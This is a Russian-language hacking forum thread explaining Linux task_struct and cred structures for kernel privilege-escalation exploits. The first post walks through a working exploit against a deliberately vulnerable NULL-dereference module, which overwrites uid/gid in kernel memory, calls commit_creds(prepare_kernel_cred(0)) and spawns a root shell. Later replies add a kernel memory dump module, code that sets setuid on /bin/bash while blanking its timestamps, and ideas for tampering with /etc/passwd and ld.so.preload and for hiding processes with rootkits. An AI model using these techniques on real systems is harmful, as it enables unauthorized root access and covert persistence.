Старый 04.05.2011, 16:45   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
Post Заметка про task_struct в ядре Linux.

В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.

Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки).

Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage.

Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше).


Поехали

Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call

Код:
struct my_ops {
	ssize_t (*do_it)(void);
};

/* Define a pointer to our ops struct, "accidentally" initialized to NULL. */
static struct my_ops *ops = NULL;


/*
 * Writing to the 'null_read' file calls the do_it member of ops,
 * which results in reading a function pointer from NULL and then
 * calling it.
 */
static ssize_t null_call_write(struct file *f, const char __user *buf,
		size_t count, loff_t *off)
{
	return ops->do_it();
}
Установка модуля: make, а затем sudo ./install.sh
install.sh сделан для удобства, он содержит команды:

mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля),
insmod nullderef.ko (установка модуля),
echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта)
Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше.
Если используется SELinux, то потребуется его отключить.

Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3)

Функция main():

Код:
  uid = getuid(); gid = getgid();
узнаем текущие uid и gid, которые затем будем искать в памяти и менять на рутовые 0.

Код:
  uname(&us);
узнаем версию ядра для правильной работы с ядрами >=2.6.29 (заметно поменялся формат task_struct, о чем ниже).

Код:
  prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds        = get_ksym("commit_creds");
  a_printk            = (unsigned long)get_ksym("printk");
С помощью функции get_ksym достаем соответствующие экспортируемые символы из /proc/kallsyms (они понадобятся в режиме ядра, так printk - это аналог printf).

Код:
  mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  void (**fn)(void) = NULL;
  *fn = get_root;
mmap'им страницу памяти (4kb) по адресу NULL, а затем кладем туда адрес функции get_root. По этому адресу и пойдет выполнение кода в режиме ядра после эксплуатации NULL pointer dereference в модуле ядра, который мы установили.
Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme
Цитата:
gdb$ b newrootme.c:131
Breakpoint 1 at 0x8048dd1: file newrootme.c, line 127.
gdb$ r
pid=2943
Breakpoint 1, main () at newrootme.c:127
131 void (**fn)(void) = NULL;
gdb$ step
132 *fn = get_root;
gdb$ x/4x 0x0
0x0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ step
135 int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
gdb$ x/4x 0x0
0x0: 0x08048914 0x00000000 0x00000000 0x00000000
gdb$ print get_root
$1 = {void (void)} 0x8048914 <get_root>
Как видно после выполнения *fn = get_root; по адресу NULL наблюдается адрес функции get_root().

Код:
  int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
  write(fd, "1", 1);
после записи единицы в /sys/kernel/debug/nullderef/null_call, модуль ядра начнет выполнять нашу функцию get_root() в режиме ядра.

Код:
  printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());

  if (getuid() == 0)
      system("/bin/sh");
здесь у нас уже должны быть привилегии рута, поэтому выводятся id'ы и если uid=0, то запускаем шелл.


Функция get_root():

Теперь функция get_root(), в которой и происходит всё действо.
В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :)

Код:
	void (*printk)(const char*fmt, ...) =  (void *) a_printk;
	printk("We're in kernel, w00t-w00t!\n");
воссоздаем ядерную функцию printk() по адресу, который мы получили из /proc/kallsyms в main(), и пишем тестовое сообщение, которое будет видно в /var/log/messages.

Код:
	int i;
	unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
создаем переменную i в стеке ядра.
Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в include/linux/sched.h:

Код:
union thread_union {
    struct thread_info thread_info;
    unsigned long stack[THREAD_SIZE/sizeof(long)];
};
Т.е. thread_info находится раньше в памяти, чем стек ядра.
Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info.

NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1.

NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше:
Код:
#define current     get_current() 

static inline struct task_struct *get_current(void) 
{
            register unsigned long sp asm ("sp"); 
            return (struct task_struct *)(sp & ~0x1fff);
}
Т.е. берется значение указателя стека и также обнуляются младшие 13 бит (0x1fff = 0x2000-1 = 8191)

В эксплойтах также используется вставка на асме для нахождения адреса thread_info:

Код:
    # get current task_struct...
    movl $0xffffe000, %eax
    andl %esp, %eax

Едем дальше.

Код:
	printk("i addr: 0x%lx\n", (unsigned long)&i);
	printk("thread_info addr: 0x%lx\n", (unsigned**)(((unsigned long)&i) & ~8191) );
	printk("p (task_struct) addr: 0x%lx\n", p);
Выводим в /var/log/messages адреса i, thread_info и адрес той самой task_struct из заглавия поста, который (адрес) находится в самом начале thread_info, что видно в arch/x86/include/asm/thread_info.h:

Код:
struct thread_info {
    struct task_struct  *task;
    struct exec_domain  *exec_domain;
    __u32                flags;
    __u32                status;
    __u32                cpu;
    int                  preempt_count;
    mm_segment_t         addr_limit;
    struct restart_block restart_block;
    void __user         *sysenter_return;
#ifdef CONFIG_X86_32
    unsigned long        previous_esp;
    __u8                 supervisor_stack[0];
#endif
    int                  uaccess_err;
};
Самое время ответить, зачем она нам нужна. Смотрим ее определение в include/linux/sched.h:

Код:
struct task_struct {
	volatile long state;	/* -1 unrunnable, 0 runnable, >0 stopped */
	void *stack;
	atomic_t usage;
	unsigned int flags;	/* per process flags, defined below */
	...
/* process credentials */
	uid_t uid,euid,suid,fsuid;
	gid_t gid,egid,sgid,fsgid;
        struct group_info *group_info;
        kernel_cap_t   cap_effective, cap_inheritable, cap_permitted, cap_bset;
	...
Здесь-то и хранятся id'ы, с которыми запущено наше приложение (или эксплойт). Их необходимо исправить на ноль, чтобы стать рутом. Приведенная структура task_struct действительна для ядер <2.6.29


<2.6.29

Код:
 if(!new_style) // kernel<2.6.29
  {
    printk("kernel<2.6.29!\n");
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
           {
            printk("brute: found p[0]==uid: 0x%lx\n", p);
            printk("brute: found p[1]==euid: 0x%lx\n", &p[1]);
            printk("brute: $i in cycle: 0x%d\n", i);
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
           }
        p++;
    }
  }
в переменной p лежит найденный адрес task_struct, сама task_struct имеет размер в несколько килобайт (например, ubuntu 10.04 - 3264 байт). Поэтому мы проходим память task_struct и ищем регион, в котором 4 последовательные ячейки памяти имеют значение нашего uid (uid_t uid,euid,suid,fsuid) и 4 следующие за ними ячейки имеют значение нашего gid (gid_t gid,egid,sgid,fsgid). Как находим этот регион, пишем туда нули. Всё, *id=0 :)
В /var/log/messages выводится адрес uid и euid для любопытных.

Код:
            p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
Этот строчки зачастую необязательны, они ставят полные capabilities (kernel_cap_t cap_effective, cap_inheritable, cap_permitted).


>=2.6.29

Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct:

Код:
struct task_struct {
[...]
/* process credentials */
        const struct cred *real_cred;   /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred *cred;        /* effective (overridable) subjective task
                                         * credentials (COW) */
[...]
А вот так выглядит структура cred:

Код:
struct cred {
        atomic_t        usage;
        uid_t           uid;            /* real UID of the task */
        gid_t           gid;            /* real GID of the task */
        uid_t           suid;           /* saved UID of the task */
        gid_t           sgid;           /* saved GID of the task */
        uid_t           euid;           /* effective UID of the task */
        gid_t           egid;           /* effective GID of the task */
        uid_t           fsuid;          /* UID for VFS ops */
        gid_t           fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
        struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};
Схема такая: проходим адресное пространство task_struct, выискивая 2 подряд идущих одинаковых указателя (*real_cred и *cred) на адрес в ядре (на x86 это >=0xc0000000). Как нашли, прыгаем туда, пропускаем первое поле (atomic_t usage) и смотрим лежат ли следующими uid, gid, suid, sgid, euid, egid, fsuid, fsgid. Если это они, то обнуляем их. Voila!

Вот так это выглядит в коде:
Код:
 else // kernel>=2.6.29
  {
    printk("kernel>=2.6.29!\n");
    unsigned long *cred;
    for (i = 0; i < 1024; i++)
    {
        cred = (unsigned long *)p[i];
        if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
            cred++; /* Get rid of the cred's 'usage' field */
            if (cred[0] == uid && cred[1] == gid &&
                cred[2] == uid && cred[3] == gid &&
                cred[4] == uid && cred[5] == gid &&
                cred[6] == uid && cred[7] == gid)
                {
                    /* Get root */
                    printk("cred addr: 0x%lx\n", cred);
                    cred[0] = cred[2] = cred[4] = cred[6] = 0;
                    cred[1] = cred[3] = cred[5] = cred[7] = 0;
                    break;
                }
        }
    }
  }
cred = (unsigned long *)p[i]; - проходим task_struct
и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; - пропускаем первое поле (atomic_t usage)
А дальше проверяем id'ы и обнуляем, если это то, что искали.
В /var/log/messages будет:
Цитата:
May 4 03:10:54 ubuntu kernel: [ 4942.470069] We're in kernel, w00t-w00t!
May 4 03:10:54 ubuntu kernel: [ 4942.470072] i addr: 0xd670ff4c
May 4 03:10:54 ubuntu kernel: [ 4942.470073] thread_info addr: 0xd670e000
May 4 03:10:54 ubuntu kernel: [ 4942.470074] p (task_struct) addr: 0xd0f6cc80
May 4 03:10:54 ubuntu kernel: [ 4942.470075] kernel>=2.6.29!
May 4 03:10:54 ubuntu kernel: [ 4942.470078] cred addr: 0xc668c084

commit creds on >=2.6.29

Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал).

Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу.
Часть кода commit_creds() из kernel/cred.c:
Код:
         rcu_assign_pointer(task->real_cred, new);
         rcu_assign_pointer(task->cred, new);
Видно, что она меняет указатели *cred и *real_cred в task_struct на новую структуру, подготовленную prepare_kernel_cred()).

Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута:
Код:
#else
  if(new_style)      
	commit_creds(prepare_kernel_cred(0));
#endif
Следует заметить, что метод прохода памяти по-прежнему придется использовать, если нет возможности узнать адреса prepare_kernel_cred или commit_creds.


Last call for alcohol

Код тестировался на:
Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux)
Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux)

Почитать:
Understanding the structure task_struct: http://www.spinics.net/lists/newbies/msg11186.html
Процессы в Linux: http://www.opennet.ru/base/dev/procc...linux.txt.html, http://www.mjmwired.net/kernel/Docum...redentials.txt
Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года).


SynQ, rdot.org
5/2011
Вложения
Тип файла: tgz kernel_stuff.tgz (3.7 Кб, 1059 просмотров)
SynQ вне форума   Ответить с цитированием
Старый 04.05.2011, 17:03   #2
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Всё прелестно, но, как ми пониманю, printk юзается только в исследовательских целях - для чтения логов, иначе ненужное палево
Pashkela вне форума   Ответить с цитированием
Старый 04.05.2011, 17:09   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Да, printk здесь, чтобы понимать, что происходит. Весь код здесь для исследования и понимания потрохов.
SynQ вне форума   Ответить с цитированием
Старый 17.05.2011, 10:17   #4
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

а в чем практическая ценность этого task_struct ?
т.е. наш код уже сумел попасть в ядро, зачем заниматься поиском именно task_struct ? чтобы изменить uid/gid уже существующего процесса ? или task_struct используется в руткитах для стелса процессов/соединений и т.д. ?

я это к тому, что наверное есть более универсальные и простые методы извлечения выгоды из того, что мы сумели запустить наш код в режиме ядра - например запуск нового процесса с правами рута.
DrakonHaSh вне форума   Ответить с цитированием
Старый 17.05.2011, 10:27   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Сообщение от DrakonHaSh Посмотреть сообщение
чтобы изменить uid/gid уже существующего процесса ?
Да.
Цитата:
task_struct используется в руткитах для стелса процессов
И это тоже.

Последний раз редактировалось SynQ; 17.05.2011 в 10:52..
SynQ вне форума   Ответить с цитированием
Старый 01.07.2011, 15:53   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Оставлю здесь, может кому-нибудь пригодится однажды.

kleak LKM для просмотра или дампа памяти ядра. Вроде аналога когда-то существовавшего /dev/kmem.

Использование:
Цитата:
$ echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
$ echo "0xc1234567 1600" > /proc/kleak; cat /proc/kleak | hexdump -C // если нужен больший размер
Однажды выставленный размер сохраняется.

На x64 тоже должно работать.


Код:
/*
 * kleak LKM for kernel memory dump
 *
 * Author: SynQ, rdot.org
 * 7/2011
 * 
 * I know the code is ugly, don't blame me.
 * Usage: echo 0xc1234567 > /proc/kleak; cat /proc/kleak | ndisasm -u -
 */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <linux/string.h>

#define MAX_SIZE       PAGE_SIZE

static char input_buffer[25];

unsigned long size;
unsigned long *addr;

static int kleak_proc_write( struct file *filp, const char __user *buff,
    unsigned long len, void *data )
{
    if (len > sizeof(input_buffer) - 1) {
        printk(KERN_ERR "kleak: Input too long! (%lu)\n", len);
        return -ENOSPC;
    }

    memset(input_buffer,'\0',sizeof(input_buffer));

    if(copy_from_user(input_buffer, buff, len))
    	return -EFAULT;

    input_buffer[len]='\0';// ? no need bc of memset
    char *space = strchr(input_buffer,' ');
    char **end;

    if(space==NULL) {
    	addr=simple_strtoul(input_buffer, end, 16);
    	printk("kleak: no size, addr: 0x%p\n",addr);
    }
    else {
    	addr=simple_strtoul(input_buffer, end, 16);
    	size=simple_strtoul(space+1, end, 10);
    	printk("kleak: got size, addr: 0x%p, size: %d\n",addr, (int)size);
    }

    return len;
}

static int kleak_proc_read(char *page, char **start, off_t off,
    int count, int *eof, void *data)
{
    if (off > 0) {
        *eof = 1;
        return 0;
    }
#if defined(__i386__)
    if(addr >=0xc0000000 && addr <=0xffffffff && size < MAX_SIZE)
#elif defined(__x86_64__)
    if(addr >=0xffffffff80000000 && addr <=0xffffffffffffffff && size < MAX_SIZE)
#endif
    	memcpy(page, addr, size);
    else return -EFAULT;

    return size;
}


static int __init init_kleak(void)
{
    struct proc_dir_entry *kleak_entry = create_proc_entry("kleak", 0666, NULL);// 600? nigga, plz

    if (kleak_entry == NULL) {
      printk(KERN_ERR "kleak: Couldn't create proc entry\n");
      return -ENOMEM;
    }

    kleak_entry->write_proc = kleak_proc_write;
    kleak_entry->read_proc = kleak_proc_read;
    printk(KERN_INFO "kleak: Module loaded successfully\n");

    addr=NULL;
    size=100;

    return 0;
}

static void cleanup_kleak(void)
{
	remove_proc_entry("kleak", NULL);
	printk(KERN_INFO "kleak: Module unloaded.\n");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("SynQ");
MODULE_DESCRIPTION("kernel memory viewer via /proc");

module_init(init_kleak);
module_exit(cleanup_kleak);
Makefile:
Код:
obj-m = kleak.o

M=$(shell pwd)

all:
	make -C /lib/modules/$(shell uname -r)/build/ M=$(M) modules
Также fmem - аналог /dev/mem (дамп физической памяти).

Последний раз редактировалось SynQ; 17.12.2011 в 11:12..
SynQ вне форума   Ответить с цитированием
Старый 19.06.2012, 22:50   #7
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию

Цитата:
для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше
- оно как бы не затрудняет, а вообще ликвидирует данный вид атак. Этот NULL ptr dereference на новых ядрах многие пытаются безуспешно обойти.

SynQ, респект за статью (узнал кое-что новое) и за kleak , но есть такая простая штука, как
gdb vmlinuz-3.3.0 /proc/kcore. Это дамп памяти ядра в реальном времени, который можно только читать.
А если ядро собрано с дебагом, можно очень даже легко изучать структуры/ф-ции по названиям без ковыряния в System.map.
Если честно, я сам много велосипедов писал для той же работы с шеллкодами, потом оказалось, что почти всё можно сделать стандартными средствами

А ещё, только щас подумал, не проще ли добавить строчку в /etc/passwd через filp_open, вместо того чтобы искать task_struct.
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейса. Пример (не проверял):
http://stackoverflow.com/questions/1348358/changing-file-permissions-in-kernel. Как будет время обязательно сделаю тест.

p.s. А task_struct кстати реально классная штука, с помощью неё например можно узнать адреса и даже в текущий терминал писать, очень удобно для отладки модулей и работы с руткитами.

Последний раз редактировалось Specialist; 19.06.2012 в 23:23.. Причина: кое-что добавил
Specialist вне форума   Ответить с цитированием
Старый 28.07.2012, 13:26   #8
tom sawyer
 
Регистрация: 28.07.2012
Сообщений: 8
Репутация: 5
По умолчанию

Цитата:
Сообщение от Specialist Посмотреть сообщение
Ещё по идее можно на баш повесить суид бит. Сделать это можно, вызвав syscall (OMG) из кернел спейсайса
Можно без системного вызова из ядра поменять через апи файловой системы. Пример для изменения времени доступа/изменения/модификации и суид флага:
Код:
struct inode *inode;
	struct file *f;
	struct iattr newattrs;

	f = filp_open("/bin/bash", O_RDWR, 0);

	if(!f)
		return -1;

	inode = f->f_dentry->d_inode;

	newattrs.ia_atime.tv_sec = 0;
	newattrs.ia_mtime.tv_sec = 0;
	newattrs.ia_ctime.tv_sec = 0;

	newattrs.ia_mode = (inode->i_mode | S_ISUID | S_ISGID); /*эквивалент chmod +s*/

	newattrs.ia_valid = ATTR_ATIME | ATTR_CTIME | ATTR_MTIME | ATTR_MODE;

	if(inode->i_op) {
		DPRINT("inode->i_op->setattr: %p\n", inode->i_op->setattr);
	} else {
		DPRINT("inode->i_op: 0\n");
		filp_close(f,0);
		return -1;
	}

	error = security_inode_setattr(f->f_dentry, &newattrs); /*for selinux*/
	error = inode->i_op->setattr(f->f_dentry,  &newattrs);

	if(error) {
		filp_close(f,0);
		return -1;
	}

	fsnotify_change(f->f_dentry, newattrs.ia_valid);

	filp_close(f,0);
tom sawyer вне форума   Ответить с цитированием
Старый 20.06.2012, 10:07   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Specialist
Согласен почти со всем.
Единственное, трогать /etc/passwd, по-моему, неэлегантно и насколько знаю, не все сисколлы из ядра работают, желательно проверять.
А вот идея выставлять суид бит - отличная. think outside of the box
Кстати, если о файлах, - можно также /etc/ld.so.preload создать с mask 666.
SynQ вне форума   Ответить с цитированием
Старый 21.06.2012, 19:55   #10
Specialist
 
Регистрация: 13.06.2012
Сообщений: 25
Репутация: 20
По умолчанию

Как и обещал, раскрутил тему. Написал небольшой модуль ядра, вызывающий write на консоль из кернелспейса. Итак, немного черношляпной вуду-магии
Код:
/*

    Simple kernel module by the Specialist
    Run syscall from the kernel space

*/

#include <linux/module.h> 
#include <linux/uaccess.h> 
#include <asm/unistd.h>

static int __init init(void) 
 { 
	char *str = " ! blackhat v00d00 ;-]\n";
	mm_segment_t fs = get_fs(); 

  	// fs must point to the data segment of the calling process
	set_fs(get_ds()); 
	
	// call write
	asm volatile ("int $0x80": 
		     :"a"(__NR_write), "b"(1), "c"(str), 
		      "d"(strlen(str))); 

	// restore fs
	set_fs(fs); 
	return -1; 
 } 

module_init(init);
А теперь небольшое пояснение. Для нормального выполнения в юзерспейсе, FS должен указывать
на сегмент данных текущего процесса. Что в коде собственно и делается. В реальном эксплойте вместо макросов можно использовать asm-вставки.

upd. Даже не подумал, что проверок uid в сисколлах никто не отменял. Скорее всего прийдётся вызывать нижележащие функции.
Specialist вне форума   Ответить с цитированием
Ответ

Метки
exploit, exploitdev, kernel, linux

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot